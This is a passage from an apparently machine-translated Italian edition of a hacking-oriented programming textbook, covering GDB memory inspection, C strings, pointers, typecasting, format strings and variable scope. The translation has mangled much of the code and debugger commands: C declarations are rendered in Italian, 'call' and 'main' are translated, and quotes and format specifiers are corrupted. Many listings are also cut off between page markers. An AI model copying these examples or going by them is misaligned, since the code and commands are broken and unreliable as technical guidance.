eip 0x8048384 0x8048384 <principale + 16>
(gdb) x / o 0x8048384
0x8048384 <principale + 16>: 077042707
(gdb) x / x $ eip
0x8048384 <principale + 16>: 0x00fc45c7
(gdb) x / u $ eip
0x8048384 <principale + 16>: 16532935
(gdb) x / t $ eip
0x8048384 <principale + 16>: 00000000111111000100010111000111
(gdb)
(gdb) x / 2x $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000
(gdb) x / 12x $ eip
0x8048384 <principale + 16>: 0x00fc45c7 0x83000000 0x7e09fc7d 0xc713eb02
0x8048394 <principale + 32>: 0x84842404 0x01e80804 0x8dffffff 0x00fffc45
0x80483a4 <principale + 48>: 0xc3c9e5eb 0x90909090 0x90909090 0x5de58955
(gdb)
La dimensione predefinita di una singola unità è un'unità di quattro byte chiamata parola . La dimensione
delle unità di visualizzazione per il comando e x amine possono essere modificate aggiungendo a
lettera di dimensioni alla fine della lettera di formato. Le lettere di dimensioni valide sono le seguenti:
b Un singolo byte
h Una mezza parola, che ha una dimensione di due byte
w Una parola, che ha una dimensione di quattro byte
g Un gigante, che ha una dimensione di otto byte
28 0x200
Pagina 43
Questo crea un po 'di confusione, perché a volte il termine parola si riferisce anche a
Valori a 2 byte. In questo caso una doppia parola o DWORD si riferisce a un valore di 4 byte. In questo
libro, parole e DWORD si riferiscono entrambi a valori a 4 byte. Se sto parlando di un file
Valore di 2 byte, lo chiamerò una parola corta o una mezza parola. Il seguente output di GDB mostra
memoria visualizzata in varie dimensioni.
Programmazione 29
Pagina 44
I primi quattro byte vengono visualizzati sia in formato esadecimale che standard senza segno
notazione decimale. Un programma di calcolo della riga di comando chiamato bc viene utilizzato per mostrare
che se i byte vengono interpretati nell'ordine errato, un orribilmente errato
il valore di 3343252480 è il risultato. L'ordine dei byte di una data architettura è un file
dettaglio importante di cui essere a conoscenza. Mentre la maggior parte degli strumenti di debug e dei compilatori
si prenderà cura dei dettagli dell'ordine dei byte automaticamente, eventualmente lo farai tu
manipola direttamente la memoria da solo.
Oltre a convertire l'ordine dei byte, GDB può eseguire altre conversioni con
il comando e x ammina. Abbiamo già visto che GDB può smontare la macchina
istruzioni in lingua in istruzioni di assemblaggio leggibili dall'uomo. La e x ammina
Il comando accetta anche il formato lettera i , abbreviazione di istruzione , per visualizzare il file
memoria come istruzioni smontate in linguaggio assembly.
Nell'output sopra, il programma a.out viene eseguito in GDB, con un punto di interruzione
impostato su main (). Poiché il registro EIP punta alla memoria che effettivamente con-
contiene istruzioni in linguaggio macchina, si smontano abbastanza bene.
Il precedente disassemblaggio di objdump conferma che l'EIP a sette byte è
indicando in realtà sono il linguaggio macchina per l'assembly corrispondente
istruzione.
30 0x200
Pagina 45
variabile i per il ciclo for. Se quella memoria viene esaminata adesso, lo farà
non contengono altro che spazzatura casuale. La memoria in questa posizione può essere
esaminato in diversi modi.
(gdb) ir ebp
ebp 0xbffff808 0xbffff808
(gdb) x / 4xb $ ebp - 4
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) x / 4xb 0xbffff804
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) print $ ebp - 4
$ 1 = (void *) 0xbffff804
(gdb) x / 4xb $ 1
0xbffff804: 0xc0 0x83 0x04 0x08
(gdb) x / xw $ 1
0xbffff804: 0x080483c0
(gdb)
(gdb) nexti
0x0804838b 6 per (i = 0; i <10; i ++)
(gdb) x / 4xb $ 1
0xbffff804: 0x00 0x00 0x00 0x00
(gdb) x / dw $ 1
0xbffff804: 0
(gdb) ir eip
eip 0x804838b 0x804838b <principale + 23>
(gdb) x / i $ eip
0x804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
(gdb)
Programmazione 31
Pagina 46
(gdb) nexti
0x0804838f 6 per (i = 0; i <10; i ++)
(gdb) x / i $ eip
0x804838f <main + 27>: jle 0x8048393 <main + 31>
(gdb) nexti
8 printf ("Ciao, mondo! \ n");
(gdb) ir eip
eip 0x8048393 0x8048393 <principale + 31>
(gdb) x / 2i $ eip
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb)
32 0x200
Pagina 47
(gdb) ir esp
esp 0xbffff800 0xbffff800
(gdb)
Attualmente, ESP punta all'indirizzo di memoria 0xbffff800 , quindi quando il file mov
viene eseguita l'istruzione, qui viene scritto l'indirizzo 0x8048484 . Ma perché? Cosa c'è
così speciale per l'indirizzo di memoria 0x8048484 ? C'è un modo per scoprirlo.
Tabella ASCII
Programmazione 33
Pagina 48
022 18 12 DC2 122 82 52 R
023 19 13 DC3 123 83 53 S
024 20 14 DC4 124 84 54 T
025 21 15 NAK 125 85 55 U
026 22 16 SYN 126 86 56 V
027 23 17 ETB 127 87 57 W.
030 24 18 CAN 130 88 58 X
031 25 19 EM 131 89 59 Y
032 26 1A SUB 132 90 5A Z
033 27 1B ESC 133 91 5B [
034 28 1C FS 134 92 5C \ '\\'
035 29 1D GS 135 93 5D]
036 30 1E RS 136 94 5E ^
037 31 1F US 137 95 5F _
040 32 20 SPAZIO 140 96 60 "
041 33 21! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25% 145101 65 e
046 38 26 e 146102 66 segg
047 39 27 » 147103 67 gr
050 40 28 ( 150104 68 h
051 41 29) 151 105 69 i
052 42 2A * 152106 6A j
053 43 2B + 153107 6B k
054 44 2C, 154108 6C l
055 45 2D - 155109 6D m
056 46 2E. 156 110 6E n
057 47 2F / 157111 6F o
060 48 30 0 160112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165117 75 u
066 54 36 6 166118 76 v
067 55 37 7 167 119 77 sett
070 56 38 8 170120 78 x
071 57 39 9 171 121 79 a
072 58 3A: 172 122 7A z
073 59 3B; 173 123 7B {
074 60 3C < 174 124 7C |
075 61 3D = 175 125 7D}
076 62 3E> 176 126 7E ~
077 63 3F? 177127 7F DEL
Per fortuna, il comando e x amine di GDB contiene anche disposizioni per la ricerca
in questo tipo di memoria. La lettera in formato c può essere utilizzata automaticamente
cerca un byte nella tabella ASCII e la lettera in formato s mostrerà un
intera stringa di dati carattere.
34 0x200
Pagina 49
Questi comandi rivelano che la stringa di dati "Hello, world! \ N" è memorizzata in
indirizzo di memoria 0x8048484 . Questa stringa è l'argomento per il printf () funziona-
zione, che indica che lo spostamento dell'indirizzo di questa stringa all'indirizzo
memorizzato in ESP ( 0x8048484 ) ha qualcosa a che fare con questa funzione. Il seguente
l'output mostra l'indirizzo della stringa di dati che viene spostato nell'indirizzo ESP
puntando a.
(gdb) x / 2i $ eip
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb) x / xw $ esp
0xbffff800: 0xb8000ce0
(gdb) nexti
0x0804839a 8 printf ("Ciao, mondo! \ n");
(gdb) x / xw $ esp
0xbffff800: 0x08048484
(gdb)
(gdb) x / i $ eip
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb) nexti
Ciao mondo!
6 per (i = 0; i <10; i ++)
(gdb)
Continuando a utilizzare GDB per eseguire il debug, esaminiamo le due istruzioni successive.
Ancora una volta, hanno più senso guardarli in gruppo.
(gdb) x / 2i $ eip
0x804839f <main + 43>: lea eax, [ebp-4]
0x80483a2 <main + 46>: incl DWORD PTR [eax]
(gdb)
Pagina 50
(gdb) x / i $ eip
0x804839f <main + 43>: lea eax, [ebp-4]
(gdb) print $ ebp - 4
$ 2 = (void *) 0xbffff804
(gdb) x / x $ 2
0xbffff804: 0x00000000
(gdb) ir eax
eax 0xd 13
(gdb) nexti
0x080483a2 6 per (i = 0; i <10; i ++)
(gdb) ir eax
eax 0xbffff804 -1073743868
(gdb) x / xw $ eax
0xbffff804: 0x00000000
(gdb) x / dw $ eax
0xbffff804: 0
(gdb)
(gdb) x / i $ eip
0x80483a2 <main + 46>: incl DWORD PTR [eax]
(gdb) x / dw $ eax
0xbffff804: 0
(gdb) nexti
0x080483a4 6 per (i = 0; i <10; i ++)
(gdb) x / dw $ eax
0xbffff804: 1
(gdb)
(gdb) x / i $ eip
0x80483a4 <main + 48>: jmp 0x804838b <main + 23>
(gdb)
36 0x200
Pagina 51
Programmazione 37
Pagina 52
0x261 stringhe
Il valore "Hello, world! \ N" passato alla funzione printf () nel precedente
il programma è una stringa, tecnicamente un array di caratteri. In C, un array è semplicemente un file
elenco di n elementi di un tipo di dati specifico. Un array di 20 caratteri è semplicemente 20
caratteri adiacenti situati in memoria. Gli array vengono anche chiamati buffer .
Il programma char_array.c è un esempio di array di caratteri.
char_array.c
#include <stdio.h>
int main ()
{
char str_a [20];
str_a [0] = "H";
str_a [1] = "e";
str_a [2] = 'l';
str_a [3] = 'l';
str_a [4] = 'o';
str_a [5] = ',';
str_a [6] = '';
str_a [7] = 'w';
str_a [8] = 'o';
str_a [9] = 'r';
str_a [10] = 'l';
str_a [11] = 'd';
str_a [12] = '!';
str_a [13] = '\ n';
str_a [14] = 0;
printf (str_a);
}
Al compilatore GCC può anche essere data l' opzione -o per definire l'output
file in cui compilare. Questa opzione viene utilizzata di seguito per compilare il programma in un file
binario eseguibile chiamato char_array .
38 0x200
Pagina 53
alla fine viene utilizzato come carattere delimitatore per indicare qualsiasi funzione che sta trattando
con la stringa per interrompere le operazioni proprio lì. I byte aggiuntivi rimanenti sono
solo spazzatura e verrà ignorato. Se viene inserito un byte nullo nel quinto elemento
dell'array di caratteri, solo i caratteri Hello verrebbero stampati dal
.
funzione printf ()
Dal momento che impostare ogni personaggio in un array di caratteri è meticoloso e
le stringhe vengono utilizzate abbastanza spesso, è stato creato un insieme di funzioni standard per le stringhe
manipolazione. Ad esempio, la funzione strcpy () copierà una stringa da un file
source a una destinazione, iterando attraverso la stringa di origine e copiando ciascuna
byte alla destinazione (e fermandosi dopo aver copiato il byte di terminazione nullo).
L'ordine degli argomenti della funzione è simile alla sintassi dell'assembly Intel:
destinazione prima e poi origine. Il programma char_array.c può essere riscritto
usando strcpy () per ottenere la stessa cosa usando la libreria di stringhe. Il
la prossima versione del programma char_array mostrato di seguito include string.h da allora
utilizza una funzione stringa.
char_array2.c
#include <stdio.h>
#include <string.h>
int main () {
char str_a [20];
Programmazione 39
Pagina 54
Quando il programma viene eseguito, il punto di interruzione strcpy () viene risolto. A ciascuno
punto di interruzione, esamineremo EIP e le istruzioni a cui punta. Avviso
che la posizione di memoria per EIP nel punto di interruzione centrale è diversa.
(gdb) esegui
Avvio del programma: / home / reader / booksrc / char_array2
Breakpoint 4 a 0xb7f076f4
In attesa del punto di interruzione "strcpy" risolto
40 0x200
Pagina 55
L'indirizzo in EIP al punto di interruzione centrale è diverso perché il file
il codice per la funzione strcpy () proviene da una libreria caricata. In effetti, il file
il debugger mostra EIP per il punto di interruzione centrale nella funzione strcpy () ,
mentre EIP agli altri due breakpoint è nella funzione main () . mi piacerebbe
sottolineare che PEI è in grado di viaggiare dal codice principale al strcpy) ( codice
e di nuovo indietro. Ogni volta che viene chiamata una funzione, viene mantenuto un record su un dato
struttura chiamata semplicemente stack. Lo stack consente a EIP di tornare a lungo
catene di chiamate di funzioni. In GDB, il comando bt può essere utilizzato per risalire al file
pila. Nell'output di seguito, il backtrace dello stack viene mostrato in ogni punto di interruzione.
(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / char_array2
Errore nel ripristino del punto di interruzione 4:
Funzione "strcpy" non definita.
Programmazione 41
Pagina 56
essere solo in una delle 2 32 possibili combinazioni di bit. Ciò consente il segno a 32 bit
numeri interi da Г2.147.483.648 a 2.147.483.647. Essenzialmente, uno dei
il bit è un flag che segna il valore positivo o negativo. Valori con segno positivo
hanno lo stesso aspetto dei valori senza segno, ma i numeri negativi vengono memorizzati in modo diverso
utilizzando un metodo chiamato complemento a due. Il complemento di due rappresenta neg-
numeri attivi in una forma adatta per sommatori binari, quando un valore negativo in
il complemento a due viene aggiunto a un numero positivo della stessa grandezza, il
il risultato sarà 0. Questo viene fatto scrivendo prima il numero positivo in binario, quindi
invertendo tutti i bit e infine aggiungendo 1. Sembra strano, ma funziona e
consente di aggiungere numeri negativi in combinazione con numeri positivi
utilizzando semplici sommatori binari.
Questo può essere esplorato rapidamente su scala ridotta utilizzando pcalc , un semplice file
calcolatrice del programmatore che visualizza i risultati in formato decimale, esadecimale e
formati binari. Per semplicità, in questo esempio vengono utilizzati numeri a 8 bit.
In primo luogo, il valore binario 01001001 è positivo 73. Quindi tutti i file
i bit vengono capovolti e 1 viene aggiunto per ottenere il complemento a due
zione per 73 negativo, 10110111. Quando questi due valori vengono sommati,
il risultato degli 8 bit originali è 0. Il programma pcalc mostra il valore 256
perché non sa che abbiamo a che fare solo con valori a 8 bit. In un binario
sommatore, quel pezzo di trasporto verrebbe semplicemente gettato via perché la fine del
la memoria di abile sarebbe stata raggiunta. Questo esempio potrebbe farne a meno
luce su come il complemento a due funziona la sua magia.
In C, le variabili possono essere dichiarate come senza segno semplicemente anteponendo il
parola chiave non firmata per la dichiarazione. Verrà dichiarato un numero intero senza segno
con int senza segno . Inoltre, la dimensione delle variabili numeriche può essere estesa
o abbreviato aggiungendo le parole chiave long o short . Le dimensioni effettive varieranno
a seconda dell'architettura per la quale viene compilato il codice. Il linguaggio di C
fornisce una macro chiamata sizeof () che può determinare la dimensione di alcuni dati
tipi. Funziona come una funzione che accetta un tipo di dati come input e restituisce
la dimensione di una variabile dichiarata con quel tipo di dati per l'architettura di destinazione.
Il programma datatype_sizes.c esplora le dimensioni di vari tipi di dati, utilizzando
la funzione sizeof () .
datatype_sizes.c
#include <stdio.h>
int main () {
printf ("Il tipo di dati 'int' è \ t \ t% d byte \ n", sizeof (int));
42 0x200
Pagina 57
printf ("Il tipo di dati 'unsigned int' è \ t% d byte \ n", sizeof (unsigned int));
printf ("Il tipo di dati 'short int' è \ t% d byte \ n", sizeof (short int));
printf ("Il tipo di dati 'long int' è \ t% d byte \ n", sizeof (long int));
printf ("Il tipo di dati 'long long int' è% d byte \ n", sizeof (long long int));
printf ("Il tipo di dati 'float' è \ t% d byte \ n", sizeof (float));
printf ("Il tipo di dati" char "è \ t \ t% d byte \ n", sizeof (char));
}
Come affermato in precedenza, sia gli interi con segno che quelli senza segno sono quattro byte in formato
dimensione sull'architettura x 86. Un float è anche di quattro byte, mentre un char ha solo bisogno
un singolo byte. Le parole chiave lunghe e brevi possono essere utilizzate anche con virgola mobile
variabili per estendere e accorciare le loro dimensioni.
Puntatori 0x263
Il registro EIP è un puntatore che "punta" all'istruzione corrente durante a
l'esecuzione del programma contenendo il suo indirizzo di memoria. L'idea dei puntatori
è usato anche in C. Poiché la memoria fisica non può essere effettivamente spostata, il file
le informazioni in esso contenute devono essere copiate. Può essere molto costoso dal punto di vista computazionale
copiare grossi blocchi di memoria per essere utilizzati da funzioni diverse o in
posti ent. Questo è anche costoso dal punto di vista della memoria, poiché lo spazio per
la nuova copia di destinazione deve essere salvata o allocata prima di poterla salvare
copiato. I puntatori sono una soluzione a questo problema. Invece di copiare un file
blocco di memoria, è molto più semplice passare l'indirizzo dell'inizio
ning di quel blocco di memoria.
I puntatori in C possono essere definiti e utilizzati come qualsiasi altro tipo di variabile.
Poiché la memoria sull'architettura x 86 utilizza l'indirizzamento a 32 bit, i puntatori lo sono
anche 32 bit di dimensione (4 byte). I puntatori sono definiti anteponendo un asterisco ( * )
al nome della variabile. Invece di definire una variabile di quel tipo, un puntatore è
definito come qualcosa che punta a dati di quel tipo. Il programma pointer.c
è un esempio di un puntatore utilizzato con il tipo di dati char , che è solo
1 byte di dimensione.
Programmazione 43
Pagina 58
pointer.c
#include <stdio.h>
#include <string.h>
int main () {
char str_a [20]; // Una matrice di caratteri di 20 elementi
char * pointer; // Un puntatore, pensato per un array di caratteri
char * pointer2; // E ancora un altro
44 0x200
Pagina 59
Quando il puntatore viene esaminato come una stringa, è evidente che il dato
stringa è presente e si trova all'indirizzo di memoria 0xbffff7e0 . Ricordati che
la stringa stessa non è memorizzata nella variabile pointer, solo l'indirizzo di memoria
0xbffff7e0è memorizzato lì.
Per vedere i dati effettivi memorizzati nella variabile pointer, è necessario
utilizzare l'indirizzo dell'operatore. L'operatore address-of è un operatore unario ,
il che significa semplicemente che opera su un singolo argomento. Questo operatore è giusto
una e commerciale ( & ) anteposta al nome di una variabile. Quando viene utilizzato, l'indirizzo
di quella variabile viene restituito, invece della variabile stessa. Questo operatore esiste
sia in GDB che nel linguaggio di programmazione C.
(gdb) x / xw e puntatore
0xbffff7dc: 0xbffff7e0
(gdb) stampa e puntatore
$ 1 = (char **) 0xbffff7dc
(gdb) puntatore di stampa
$ 2 = 0xbffff7e0 "Ciao mondo! \ N"
(gdb)
Programmazione 45
Pagina 60
addressof.c
#include <stdio.h>
int main () {
int int_var = 5;
int * int_ptr;
Come al solito, viene impostato un punto di interruzione e il programma viene eseguito nel file
debugger. A questo punto la maggior parte del programma è stata eseguita. Il primo
Il comando print mostra il valore di int_var e il secondo mostra il suo indirizzo
utilizzando l'indirizzo dell'operatore. I prossimi due comandi di stampa lo mostrano
int_ptr contiene l'indirizzo di int_var e mostrano anche l'indirizzo di
l'INT_PTR per buona misura.
46 0x200
Pagina 61
addressof2.c
#include <stdio.h>
int main () {
int int_var = 5;
int * int_ptr;
printf ("int_var si trova a 0x% 08x e contiene% d \ n", & int_var, int_var);
printf ("int_ptr si trova a 0x% 08x, contiene 0x% 08x e punta a% d \ n \ n",
& int_ptr, int_ptr, * int_ptr);
}
Quando gli operatori unari vengono utilizzati con i puntatori, l'indirizzo di oper-
ator può essere pensato come un movimento all'indietro, mentre l'operatore di dereferenziazione
si sposta in avanti nella direzione in cui punta il puntatore.
Programmazione 47
Pagina 62
%d Decimale
%X Esadecimale
%S Corda
fmt_strings.c
#include <stdio.h>
int main () {
stringa di caratteri [10];
int A = -73;
int B = 31337 senza segno;
48 0x200
Pagina 63
Programmazione 49
Pagina 64
input.c
#include <stdio.h>
#include <string.h>
int main () {
messaggio char [10];
int count, i;
In input.c, la funzione scanf () viene utilizzata per impostare la variabile count . Il risultato
di seguito ne viene illustrato l'utilizzo.
50 0x200
Pagina 65
7 - Ciao mondo!
8 - Ciao mondo!
9 - Ciao mondo!
10 - Ciao mondo!
11 - Ciao mondo!
lettore @ hacking: ~ / booksrc $
Le stringhe di formato vengono utilizzate abbastanza spesso, quindi la familiarità con esse è preziosa.
Inoltre, la capacità di produrre i valori delle variabili consente il debug in
il programma, senza l'uso di un debugger. Avere una qualche forma di immediato
il feedback è abbastanza vitale per il processo di apprendimento dell'hacker e qualcosa come
semplice come stampare il valore di una variabile può consentire un sacco di sfruttamento.
0x265 Typecasting
Typecasting è semplicemente un modo per modificare temporaneamente il tipo di dati di una variabile, nonostante
come era originariamente definito. Quando una variabile viene trasformata in un file
type, al compilatore viene sostanzialmente detto di trattare quella variabile come se fosse il file
nuovo tipo di dati, ma solo per tale operazione. La sintassi per il typecasting è
come segue:
(typecast_data_type) variabile
Può essere utilizzato quando si tratta di numeri interi e variabili a virgola mobile,
come dimostra typecasting.c.
typecasting.c
#include <stdio.h>
int main () {
int a, b;
float c, d;
a = 13;
b = 5;
Programmazione 51
Pagina 66
Come discusso in precedenza, la divisione dell'intero 13 per 5 verrà arrotondata per difetto a
risposta errata di 2, anche se questo valore viene memorizzato in una virgola mobile
variabile. Tuttavia, se queste variabili intere vengono convertite in float, lo faranno
essere trattato come tale. Ciò consente il calcolo corretto di 2.6.
Questo esempio è illustrativo, ma dove il typecasting brilla davvero è quando esso
viene utilizzato con le variabili puntatore. Anche se un puntatore è solo un indirizzo di memoria,
il compilatore C richiede ancora un tipo di dati per ogni puntatore. Una ragione per
questo per cercare di limitare gli errori di programmazione. Un puntatore intero dovrebbe solo
punta a dati interi, mentre un puntatore a caratteri dovrebbe puntare solo a caratteri
dati degli attori. Un altro motivo è per l'aritmetica dei puntatori. Un numero intero è quattro byte
di dimensione, mentre un carattere occupa solo un singolo byte. Il programma pointer_types.c
gram dimostrerà e spiegherà ulteriormente questi concetti. Questo codice utilizza l'estensione
formattare il parametro % p per visualizzare gli indirizzi di memoria. Questa è una scorciatoia
per visualizzare i puntatori ed è sostanzialmente equivalente a 0x% 08x .
pointer_types.c
#include <stdio.h>
int main () {
int i;
char * char_pointer;
int * int_pointer;
char_pointer = char_array;
int_pointer = int_array;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il numero intero% d \ n",
int_pointer, * int_pointer);
int_pointer = int_pointer + 1;
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
printf ("[char pointer] punta a% p, che contiene il carattere '% c' \ n",
char_pointer, * char_pointer);
char_pointer = char_pointer + 1;
}
}
In questo codice sono definiti due array in memoria, uno contenente un numero intero
dati e l'altro contenente dati carattere. Sono inoltre definiti due puntatori,
uno con il tipo di dati intero e uno con il tipo di dati carattere, e loro
sono impostati in modo che puntino all'inizio delle matrici di dati corrispondenti. Due separati per
esegue un'iterazione tra gli array utilizzando l'aritmetica del puntatore per regolare il puntatore
per puntare al valore successivo. Nei cicli, quando i valori intero e carattere
52 0x200
Pagina 67
pointer_types2.c
#include <stdio.h>
int main () {
int i;
char * char_pointer;
int * int_pointer;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il carattere '% c' \ n",
int_pointer, * int_pointer);
int_pointer = int_pointer + 1;
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
Programmazione 53
Pagina 68
54 0x200
Pagina 69
pointer_types3.c
#include <stdio.h>
int main () {
int i;
char char_array [5] = {'a', 'b', 'c', 'd', 'e'};
int int_array [5] = {1, 2, 3, 4, 5};
char * char_pointer;
int * int_pointer;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il carattere '% c' \ n",
int_pointer, * int_pointer);
int_pointer = (int *) ((char *) int_pointer + 1);
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array char con char_pointer.
printf ("[char pointer] punta a% p, che contiene il numero intero% d \ n",
char_pointer, * char_pointer);
char_pointer = (char *) ((int *) char_pointer + 1);
}
}
In questo codice, quando i puntatori vengono inizialmente impostati, i dati vengono convertiti in typecast
il tipo di dati del puntatore. Ciò impedirà al compilatore C di lamentarsi
sui tipi di dati in conflitto; tuttavia, qualsiasi aritmetica del puntatore sarà ancora
sbagliato. Per risolvere questo problema, quando viene aggiunto 1 ai puntatori, devono prima essere digitati
cast nel tipo di dati corretto in modo che l'indirizzo venga incrementato dal corretto
quantità. Quindi questo puntatore deve essere reinserito nei dati del puntatore
digitare ancora una volta. Non sembra troppo carino, ma funziona.
Programmazione 55
Pagina 70
Naturalmente, è molto più semplice utilizzare il tipo di dati corretto per i puntatori
innanzitutto; tuttavia, a volte si desidera un puntatore generico e senza tipo.
In C, un puntatore void è un puntatore senza tipo, definito dalla parola chiave void .
Sperimentare con i puntatori void rivela rapidamente alcune cose sul senza tipo
puntatori. Primo, i puntatori non possono essere dereferenziati a meno che non abbiano un tipo.
Per recuperare il valore memorizzato nell'indirizzo di memoria del puntatore, il file
il compilatore deve prima sapere di che tipo di dati si tratta. In secondo luogo, i puntatori void devono
essere anche typecast prima di eseguire l'aritmetica del puntatore. Questi sono abbastanza intuitivi
limitazioni, il che significa che lo scopo principale di un puntatore vuoto è semplicemente tenere
un indirizzo di memoria.
Il programma pointer_types3.c può essere modificato per utilizzare un singolo void
puntatore digitandolo al tipo corretto ogni volta che viene utilizzato. Il compilatore
sa che un puntatore void è senza tipo, quindi qualsiasi tipo di puntatore può essere memorizzato in un file
void pointer senza typecasting. Ciò significa anche che un puntatore void deve sempre
essere typecast quando si dereferenzia esso, tuttavia. Queste differenze possono essere viste in
pointer_types4.c, che utilizza un puntatore void.
pointer_types4.c
#include <stdio.h>
int main () {
int i;
void * void_pointer;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[char pointer] punta a% p, che contiene il carattere '% c' \ n",
void_pointer, * ((char *) void_pointer));
void_pointer = (void *) ((char *) void_pointer + 1);
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[puntatore intero] punta a% p, che contiene il numero intero% d \ n",
void_pointer, * ((int *) void_pointer));
void_pointer = (void *) ((int *) void_pointer + 1);
}
}
56 0x200
Pagina 71
pointer_types5.c
#include <stdio.h>
int main () {
int i;
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[hacky_nonpointer] punta a% p, che contiene il carattere '% c' \ n",
hacky_nonpointer, * ((char *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof (char);
}
for (i = 0; i <5; i ++) {// Itera attraverso l'array int con int_pointer.
printf ("[hacky_nonpointer] punta a% p, che contiene il numero intero% d \ n",
hacky_nonpointer, * ((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof (int);
}
}
Programmazione 57
Pagina 72
Questo è piuttosto complicato, ma poiché questo valore intero è typecast nel file
tipi di puntatori appropriati quando viene assegnato e dereferenziato, il risultato finale è
lo stesso. Si noti che invece di digitare più volte per eseguire il puntatore
aritmetica su un intero senza segno (che non è nemmeno un puntatore), la sizeof ()
viene utilizzata per ottenere lo stesso risultato utilizzando la normale aritmetica.
commandline.c
#include <stdio.h>
int main (int arg_count, char * arg_list []) {
int i;
printf ("Sono stati forniti% d argomenti: \ n", arg_count);
for (i = 0; i <arg_count; i ++)
printf ("argomento #% d \ t- \ t% s \ n", i, arg_list [i]);
}
58 0x200
Pagina 73
convert.c
#include <stdio.h>
Programmazione 59
Pagina 74
convert2.c
#include <stdio.h>
Quando al programma non vengono forniti abbastanza argomenti della riga di comando, continua a farlo
cerca di accedere agli elementi dell'array di argomenti, anche se non esistono.
Ciò provoca l'arresto anomalo del programma a causa di un errore di segmentazione.
La memoria è suddivisa in segmenti (di cui parleremo più avanti) e alcuni
gli indirizzi di memoria non sono entro i confini dei segmenti di memoria
il programma ha accesso a. Quando il programma tenta di accedere a un indirizzo
che è fuori dai limiti, si bloccherà e morirà in quello che viene chiamato un errore di segmentazione .
Questo effetto può essere esplorato ulteriormente con GDB.
60 0x200
Pagina 75
Il programma viene eseguito con un singolo argomento della riga di comando test
all'interno di GDB, che causa l'arresto anomalo del programma. Il comando where lo farà
a volte mostrano un utile backtrace dello stack; tuttavia, in questo caso, il file
lo stack è stato distrutto troppo gravemente durante l'incidente. Un punto di interruzione è impostato su principale e
il programma viene rieseguito per ottenere il valore del vettore argomento (mostrato in
grassetto). Poiché il vettore dell'argomento è un puntatore a un elenco di stringhe, in realtà è un file
puntatore a un elenco di puntatori. Utilizzando il comando x / 3xw per esaminare il primo
tre indirizzi di memoria memorizzati nell'indirizzo del vettore dell'argomento lo mostrano
sono essi stessi puntatori a stringhe. Il primo è l'argomento zero,
il secondo è l' argomento del test e il terzo è zero, che è fuori limite.
Quando il programma tenta di accedere a questo indirizzo di memoria, si blocca con un file
errore di segmentazione.
Programmazione 61
Pagina 76
scope c
#include <stdio.h>
void func3 () {
int i = 11;
printf ("\ t \ t \ t [in func3] i =% d \ n", i);
}
void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i =% d \ n", i);
func3 ();
printf ("\ t \ t [torna in func2] i =% d \ n", i);
}
void func1 () {
int i = 5;
printf ("\ t [in func1] i =% d \ n", i);
func2 ();
printf ("\ t [torna in func1] i =% d \ n", i);
}
int main () {
int i = 3;
printf ("[in main] i =% d \ n", i);
func1 ();
printf ("[torna in main] i =% d \ n", i);
}
62 0x200
Pagina 77
scope2.c
#include <stdio.h>
void func3 () {
int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
printf ("\ t \ t \ t [in func3] i =% d, j =% d \ n", i, j);
}
void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i =% d, j =% d \ n", i, j);
printf ("\ t \ t [in func2] impostazione j = 1337 \ n");
j = 1337; // Scrivendo a j
func3 ();
printf ("\ t \ t [torna in func2] i =% d, j =% d \ n", i, j);
}
void func1 () {
int i = 5;
printf ("\ t [in func1] i =% d, j =% d \ n", i, j);
func2 ();
printf ("\ t [torna in func1] i =% d, j =% d \ n", i, j);
}
int main () {
int i = 3;
printf ("[in main] i =% d, j =% d \ n", i, j);
func1 ();
printf ("[torna in main] i =% d, j =% d \ n", i, j);
}
Programmazione 63
Pagina 78
[in func1] i = 5, j = 42
[in func2] i = 7, j = 42
[in func2] impostazione j = 1337
[in func3] i = 11, j = 999
[torna in func2] i = 7, j = 1337
[di nuovo in func1] i = 5, j = 1337
[di nuovo in main] i = 3, j = 1337
lettore @ hacking: ~ / booksrc $
scope3.c
#include <stdio.h>
void func3 () {
int i = 11, j = 999; // Qui, j è una variabile locale di func3 ().
printf ("\ t \ t \ t [in func3] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t \ t [in func3] j @ 0x% 08x =% d \ n", & j, j);
}
void func2 () {
int i = 7;
printf ("\ t \ t [in func2] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t [in func2] j @ 0x% 08x =% d \ n", & j, j);
printf ("\ t \ t [in func2] impostazione j = 1337 \ n");
j = 1337; // Scrivendo a j
func3 ();
printf ("\ t \ t [torna in func2] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t \ t [torna in func2] j @ 0x% 08x =% d \ n", & j, j);
}
void func1 () {
int i = 5;
